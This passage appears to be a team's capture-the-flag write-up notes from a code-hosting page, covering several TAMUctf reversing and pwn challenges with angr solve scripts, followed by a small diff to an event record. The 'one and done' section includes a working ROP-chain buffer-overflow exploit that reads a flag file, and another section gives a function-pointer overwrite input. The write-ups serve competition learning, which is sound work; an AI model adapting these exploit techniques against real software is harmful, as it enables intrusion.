System.out.println(Arrays.asList(nArray).stream().map(i -> String.valueOf((char)i.intValue())).collect(Collectors.joining("")));
}
}
```
### existing tooling
breakpoint before it prints how long the flag is, grab the content from the `obj` global var with IDA
### redo 1
remove the 0 ints in the `a` array to prevent null termination, convert it to char* and print
```c
#include <stdio.h>
int main(int argc, char** argv)
{
int a[] = {0x65676967,0x34427b6d,0x5f433153,0x616c5f43,0x4175476e,0x525f4567,0x78305f45,0x53414c47,0x00007d53}; //remove null term
char* flag = (char*)(&a);
printf("%s", flag)
}
```
### redo 2
add `.intel_syntax noprefix` to the top of the asm file, compile with `gcc -m32 -c redo2.S -o redo2.o` and decompile it with IDA
change all returns and if statements to assignations, rearranging if necessary
set up flag with flag length as long as the for loop (or the malloc size), and add a print at the end
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, const char **argv, const char **envp)
{
char *v4; // [esp+0h] [ebp-20h]
int m; // [esp+4h] [ebp-1Ch]
int l; // [esp+8h] [ebp-18h]
int k; // [esp+Ch] [ebp-14h]
int j; // [esp+10h] [ebp-10h]
int i; // [esp+14h] [ebp-Ch]
char* flag = "gigem{aaaaaaaaaaaaaaaaaaaaaa}";
for ( i = 0; i <= 28; ++i )
{
if ( !flag[i] )
return -1;
}
v4 = malloc(0x1Du);
for ( j = 0; j <= 28; ++j )
{
v4[j] = flag[j];
v4[j] -= 49;
}
if ( *v4 != v4[2] )
return 1;
if ( v4[1] != 56 )
return 2;
if ( *v4 != 54 )
return 3;
if ( v4[3] != 52 )
return 4;
if ( (char)v4[28] != (char)v4[5] + 2 )
return 5;
if ( v4[5] != 74 )
return 6;
if ( v4[4] != 60 )
return 7;
for ( k = 0; k <= 2; ++k )
{
v4[k + 6] = 48;
}
for ( l = 0; l <= 3; ++l )
{
v4[l + 10] = 49;
}
for ( m = 0; m <= 4; ++m )
{
v4[m + 15] = 50;
}
v4[21] = v4[15] + 1;
v4[9] = 46;
v4[14] = v4[9];
v4[20] = v4[9];
v4[22] = v4[9];
v4[27] = 1;
v4[26] = 2;
v4[23] = 3;
v4[24] = 4;
v4[25] = 0;
for ( j = 0; j <= 28; ++j )
v4[j] += 49;
printf("%s\n", v4);
}
```
### one and done
buffer overflow with PIE disabled but no libc - search for rop gadgets in binary, stitch together until syscalls can be made
reuse gets and puts provided
```py
from pwn import *
import time
p = remote("tamuctf.com", 443, ssl=True, sni="one-and-done")
#elf = ELF('./one-and-done')
#p = process('./one-and-done')
#gets
payload = b'A' * 0x128 #padding until ret
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #_edata addr for temp storage since its RW and not really used
payload += p64(0x0000000000401795) #gets
#open syscall
payload += p64(0x0000000000401f31) #pop rdx
payload += p64(0x0000000000000002) #sys_open
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #temp storage we wrote to
payload += p64(0x0000000000401713) #pop rsi
payload += p64(0x0000000000000000) #O_RDONLY
payload += p64(0x00000000004013ce) #pop rbx
payload += p64(0x0000000000000002) #set i = 2 for inc to 3 to pass `cmp i, 3` in _init_libc that we are hijacking
payload += p64(0x00000000004013ad) #mov edx to eax and syscall (sys_open)
payload += b'A' * 0x158 #_init_libc frame reset
#read syscall
payload += p64(0x000000000040100b) #pop rax
payload += p64(0x0000000000000000) #sys_read
payload += p64(0x0000000000401f31) #pop rdx
payload += p64(0x0000000000000030) #read count
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000000003) #fd for flag
payload += p64(0x0000000000401713) #pop rsi
payload += p64(0x0000000000405310) #temp storage
payload += p64(0x0000000000401f27) #simple syscall
payload += b'A' * 0x8 #ret frame
#puts
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #temp storage we wrote to
payload += p64(0x0000000000401834) #pop rdi
#time.sleep(10) #for debugger
p.sendline(payload)
p.interactive()
```
### live math love
from (mostly) trial and error + reading stack on each function call
+
- the first value is used for both menu choosing and the first value of the arithmetic
- the second value is used for arithmetic
- the third value is used for arithmetic AND is stored at the next function call's stack location's lower 8 bytes
- the fourth value is ignored
- the printed value is stored at the next function call's stack location's higher 8 bytes
and it repeats
as long as we use an invalid option in menu the function call's stack location wont get overwriten
so with that we want a float value to match 0x00401163 which is 5.88371e-39
and then make it so that the printed value is 0
which multiply is the easiest to use
so we can just input in sequence:
```c
3 //must use to choose multiply
0 //ensure printed value is * 0 = 0 so no unnecessary writing is made
5.88371e-39 //value we found
0 //same reason as the 0 above
0 //invalid value for triggering function pointer
```
### labyrinth
co-solved with [@Jason](https://maplebacon.org/authors/Jason/)
maze with function calls that are gated by integer arithmetic checks
angr doesnt work directly prob coz of too many branches, so we want to traverse the maze for angr first to resolve the integers needed to pass the functions
angr's cfgfast to the rescue
get shortest path from main function to the only function that calls `exit(0)` not `exit(1)` (address obtained using radare)
tried to use filtering with avoid on all node addresses that are not in the path obtained, failed
realized the path we got has indirect resolutions that are not even reachable
removed all nodes that are not called `function_*` or `main` which are the maze components and got the cfg again which has a valid path now
still doesnt work, realized we hooked scanf wrongly (scanf is hooked coz angr said its not properly emulated and stdin is painful to use)
filtering STILL doesnt work so we went with directing angr using new sim states on every node and explore the next addr instead
tada solved
```py
from pwn import *
import angr
import claripy
import r2pipe
import networkx
io = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(io.recvline().rstrip().decode()))
exe = context.binary = ELF('elf')
r = r2pipe.open(exe.path)
r.cmd('aaa')
r.cmd('e search.in=bin.section.[x]')
target = r.cmdj('pdfj @ ' + r.cmd('/a mov edi, 0; call sym.imp.exit;').split()[0])
all_func_offsets = [func['offset'] for func in r.cmdj('aflj') if 'function_' in func['name']]
p = angr.Project(exe.path, main_opts={'base_addr': 0}, load_options={'auto_load_libs': False})
cfg = p.analyses.CFGFast()
complete = False
while not complete:
complete = True
for node in cfg.graph.nodes:
if node.function_address not in all_func_offsets and node.name and 'main' not in node.name:
cfg.graph.remove_node(node)
complete = False
break
mainNode = cfg.model.get_node(exe.sym['main'])
targetNode = cfg.model.get_node(target['addr'])
path = networkx.algorithms.shortest_path(
cfg.graph,
source=mainNode,
target=targetNode
)
nums = []
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, ptr):
u = claripy.BVS('num_%d' % len(nums), 4*8)
nums.append(u)
self.state.mem[ptr].dword = u
p.hook_symbol('__isoc99_scanf', ReplacementScanf(), replace=True)
s = p.factory.full_init_state(
add_options=set.union(
angr.options.unicorn,
{
angr.options.LAZY_SOLVES,
angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
}
)
)
sim = p.factory.simgr(s)
print("PATH: " + str([node.name for node in path]) + " (" + str(len(path)) + ")")
for node in path:
sim.explore(find=node.addr)
if sim.found:
print(node.name + " solution found")
sim = p.factory.simgr(sim.found[0])
else:
print("no solution")
solution = [sim.active[0].solver.eval(num) for num in nums]
print(solution)
io.sendline(b"".join([str(num).encode() + b'\n' for num in solution]).hex().encode())
io.interactive()
```
### unboxing
co-solved with [@Jason](https://maplebacon.org/authors/Jason/)
shellcode unravels next segment and destroys the previous one before moving on to the next segment and repeat, along with outputting to `output` for byte checking
checks 64 of the bytes not set in certain places on .data
doesnt work with angr - gets stuck at shell code probably coz of the jmps and self modifying instructions
eventually we realized:
+
- each segment is 0x44 bytes
- first xor starting from 00E, next one is at 052, and so on
- rcx is probably a tracker of how many bytes are remaining in the shellcode portion: starts at 0x10fe7, drops 44 each unravelling of segment
- each segment xors the entire rest of the shellcode portion not just a single segment
- composes of a constructor segment (xors everything after this segment), a data writer segment (does the main things unrelated to shellcode unravelling), a destructor segment (sets zero on the segment above and erases it)
with this data gathered, we concluded its basically russian doll - first segment uncovers everything after it, second segment uncovers everything after it, and so on... which means the last segment to be uncovered is layered in thousands of xors
and we can manually unwrap the shellcodes with xors obtained layer by layer statically
originally done with radare but scuffed coz its unstable, later with plain offsets as follows
+
- counter = 0x10fe7 decrement by 0x44 each cycle, or since we have to unwrap at the top, (start = 0) + 0x44 until 0x11001
- xor byte - start + 0xe + 0x2
- start writing at - start + 0x19
after quite a bit of 4am oversights and debugging we got segments that follow the structure we saw right up till the end which means we did the xor correctly
then we have to remove the constructor and destructor since those will overwrite our statically unwrapped data and corrupt it
after another bit of 5am debugging nop is also done, but we cant see how it returns and it doesnt return it just goes straight into the next program segment and segfaults
eventually we realized at the very end of data its a C3 which is a retn instruction before xoring which means we were xoring 1 too many lines of code
removing that and finally we have a working program we can run angr on
run angr after hooking read instead of using stdin, standard angr afterwards
and we get the solve script
```py
from pwn import *
import angr
import claripy
import r2pipe
io = remote("tamuctf.com", 443, ssl=True, sni="unboxing")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(io.recvline().rstrip().decode()))
file.close()
exe = context.binary = ELF('elf')
r = r2pipe.open(exe.path)
r.cmd('aaa')
correct = int(r.cmd('pdfs @ main ~ str.correct_:_').split()[0], 0)
wrong = int(r.cmd('pdfs @ main ~ str.wrong_:_').split()[0], 0)
mem = r.cmdj(f'pxj 0x11001 @ 0x4080')
offset = 0;
while offset + 0x44 < 0x11001:
start = offset + 0x19
xor = mem[offset + 0x10]
# print(f"XOR to {hex(start)}")
mem[start:-1] = [byte ^ xor for byte in mem[start:-1]]
offset += 0x44
print(hex(len(mem)))
offset = 0;
while offset + 0x44 < 0x11001:
# print(f"NOP to {hex(offset)}")
mem[offset + 0x00 : offset + 0x19] = [0x90] * 0x19
mem[offset + 0x2b : offset + 0x44] = [0x90] * 0x19
offset += 0x44
print(hex(len(mem)))
with open(exe.path, 'r+b') as file:
file.seek(int(r.cmd('?p @ obj.check'), 0))
file.write(bytes(mem))
info("CORRECT = " + hex(correct))
info("WRONG = " + hex(wrong))
p = angr.Project(exe.path, main_opts={'base_addr': 0})
password_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x40)]
password = claripy.Concat(*password_chars)
class ReplacementRead(angr.SimProcedure):
def run(self, fd, ptr, length):
self.state.memory.store(ptr, password)
p.hook_symbol('read', ReplacementRead(), replace=True)
s = p.factory.full_init_state(
add_options={
angr.options.LAZY_SOLVES,
angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
}
)
sim = p.factory.simgr(s)
sim.explore(find=correct, avoid=wrong)
if sim.found:
print("solution found")
solution = sim.found[0].solver.eval(password, cast_to=bytes)
else:
print("no solution")
io.sendline(solution.hex().encode())
io.interactive()
```
diff --git a/ctfs/defconfinals22.yml b/ctfs/defconfinals22.yml
index a3bd3b4..47552c7 100644
--- a/ctfs/defconfinals22.yml
+++ b/ctfs/defconfinals22.yml
@@ -1,14 +1,14 @@
#refer to hkcert21.yml for definitions
name: "DEF CON 30 CTF"
url: https://ctftime.org/event/1662
-date: 2022-08-11
-duration: 72
+date: 2022-08-12
+duration: 52 #ctftime date is for the entire def con; the ctf actually went from 12th 10am to 14th 2pm (early end at 1pm)
type: "A/D"
organizer: false
rank: 1
full-clear: false
team: "Maple Mallard Magistrates"
\ No newline at end of file

File Metadata

Mime Type
text/x-diff
Expires
Sun, Sep 22, 3:09 AM (1 d, 15 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
6d/be/bc3ea8241ec07240b254bae00ce8

Event Timeline